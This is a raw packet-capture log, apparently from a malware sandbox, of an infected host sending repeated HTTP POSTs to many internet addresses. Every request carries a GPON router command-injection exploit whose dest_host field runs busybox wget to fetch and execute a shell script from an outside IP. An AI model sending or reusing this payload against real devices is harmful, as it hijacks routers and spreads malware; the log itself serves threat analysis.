Mar 21, 2024 05:23:18.749631882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.13	57544	5.242.74.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749639034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.13	40354	118.57.169.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749639034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.13	44936	212.225.70.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749682903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.13	47782	109.217.239.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749695063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.13	51908	212.199.188.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749706984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.13	52090	118.238.118.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749706984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.13	52210	109.164.149.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749728918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.13	47804	42.144.119.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749730110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.13	39994	212.230.97.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749737024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.13	59470	42.144.37.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749780893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.13	55660	212.165.21.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749787092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.13	60112	5.145.203.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749790907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.13	34820	109.119.139.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749811888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.13	46264	5.16.133.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749816895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.13	35426	118.65.87.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749835014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.13	39616	42.88.226.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749842882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.13	36186	118.229.115.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749844074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.13	50294	118.152.64.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749855042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.13	52982	42.167.4.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749871016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.13	45536	42.140.180.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749885082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.13	34408	5.43.48.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749914885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.13	54006	212.84.236.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749922037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1472	192.168.2.13	44586	109.23.83.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749922037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.13	59022	5.27.15.130	443

Timestamp	Bytes transferred	Direction	Data
